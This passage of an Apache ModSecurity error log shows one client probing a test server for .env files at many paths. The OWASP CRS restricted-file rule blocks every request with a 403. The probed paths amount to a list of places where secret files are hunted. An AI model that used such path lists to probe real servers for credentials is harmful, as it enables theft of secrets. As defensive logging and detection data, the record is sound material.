&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0QAAAAU&quot;]
[Wed Feb 25 06:05:41.859094 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0QAAAAU&quot;]
[Wed Feb 25 06:05:41.859285 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0QAAAAU&quot;]
[Wed Feb 25 06:05:41.892260 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FQAAAAM&quot;]
[Wed Feb 25 06:05:41.892550 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FQAAAAM&quot;]
[Wed Feb 25 06:05:41.892745 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FQAAAAM&quot;]
[Wed Feb 25 06:05:41.915980 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/sidetree-mock/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0gAAAAU&quot;]
[Wed Feb 25 06:05:41.916277 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0gAAAAU&quot;]
[Wed Feb 25 06:05:41.916467 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0gAAAAU&quot;]
[Wed Feb 25 06:05:41.985400 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FgAAAAM&quot;]
[Wed Feb 25 06:05:41.985691 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FgAAAAM&quot;]
[Wed Feb 25 06:05:41.985886 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6FgAAAAM&quot;]
[Wed Feb 25 06:05:41.994320 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/universalresolver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0wAAAAU&quot;]
[Wed Feb 25 06:05:41.994615 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0wAAAAU&quot;]
[Wed Feb 25 06:05:41.994784 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0wAAAAU&quot;]
[Wed Feb 25 06:05:42.016236 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/vc-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1AAAAAU&quot;]
[Wed Feb 25 06:05:42.016492 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1AAAAAU&quot;]
[Wed Feb 25 06:05:42.016676 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1AAAAAU&quot;]
[Wed Feb 25 06:05:42.163738 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1QAAAAU&quot;]
[Wed Feb 25 06:05:42.164022 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1QAAAAU&quot;]
[Wed Feb 25 06:05:42.164238 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1QAAAAU&quot;]
[Wed Feb 25 06:05:42.221986 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1gAAAAU&quot;]
[Wed Feb 25 06:05:42.222281 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1gAAAAU&quot;]
[Wed Feb 25 06:05:42.222472 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1gAAAAU&quot;]
[Wed Feb 25 06:05:42.295603 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GgAAAAM&quot;]
[Wed Feb 25 06:05:42.295908 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GgAAAAM&quot;]
[Wed Feb 25 06:05:42.296095 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GgAAAAM&quot;]
[Wed Feb 25 06:05:42.300619 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1wAAAAU&quot;]
[Wed Feb 25 06:05:42.300898 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1wAAAAU&quot;]
[Wed Feb 25 06:05:42.301176 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/rails/.env&quot;] [unique_id &quot;aZ6DJuTWwZsZM3_RktVD1wAAAAU&quot;]
[Wed Feb 25 06:05:42.379355 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/node_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191gAAAAE&quot;]
[Wed Feb 25 06:05:42.379642 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191gAAAAE&quot;]
[Wed Feb 25 06:05:42.379810 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/node_path/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191gAAAAE&quot;]
